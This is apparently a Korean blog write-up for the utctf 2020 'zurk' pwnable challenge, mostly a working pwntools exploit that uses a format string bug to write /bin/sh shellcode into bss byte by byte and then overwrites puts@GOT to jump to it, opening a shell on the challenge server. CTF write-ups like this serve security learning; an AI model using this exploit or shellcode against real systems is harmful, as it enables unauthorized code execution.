일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 수학
- 브루트 포스
- 완전 탐색
- syscall
- 에라토스테네스의 체
- DFS
- 스택
- 포맷스트링버그
- 문자열 처리
- fsb
- BOF
- 투 포인터
- BFS
- 연결리스트
- tcache
- 이진트리
- 분할 정복
- 큐
- 이분 탐색
- 백트래킹
- RTL
- ROP
- OOB
- off by one
- 스위핑 알고리즘
- House of Orange
- 동적 계획법
- 다이나믹 프로그래밍
- heap
- 이진 탐색
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
utctf 2020 - zurk 본문
두번째 익스다...
첫번째 글 쓸때 쉘코드 이야기 했더니 갑자기 머리에 갑자기 쑝하고 지나가서 바로 익스플로잇을 진행했다.
왜 ret만 바꾸려고 했을까 got가 있는데..
fsb 한번에 bss영역 쓰는게 벅찰거라고 생각한건지...
아마 대략 6백만?만큼 길게 쓰는거 기다리는게 귀찮아서 더 귀찮은 방법을 선택한 것 같다....( 무엇 )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
server = 1
if server:
p = remote("binary.utctf.live", 9003)
else:
p = process("./pwnable")
puts_got = 0x0000000000601018
call_csu = 0x00000000004007C0
bss = 0x0000000000601069 + 0x500
idx = 0
for i in shellcode:
pay = ""
pay += '%' + str(ord(i)) + 'c%10$hhn'
pay += 'a'*(0x20 - len(pay))
pay += p64(bss + idx)
p.sendline(pay)
sleep(0.1)
idx += 1
pay = ''
pay += '%' + str(bss) + 'c%10$ln'
pay += 'a'*(0x20 - len(pay))
pay += p64(puts_got)
p.sendline(pay)
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
zer0pts ctf 2020 - diylist (0) | 2020.03.10 |
---|---|
zer0pts ctf 2020 - hipwn (0) | 2020.03.10 |
utctf 2020 - Cancelled (0) | 2020.03.09 |
utctf 2020 - zurk (0) | 2020.03.09 |
utctf 2020 - bof (0) | 2020.03.09 |
Comments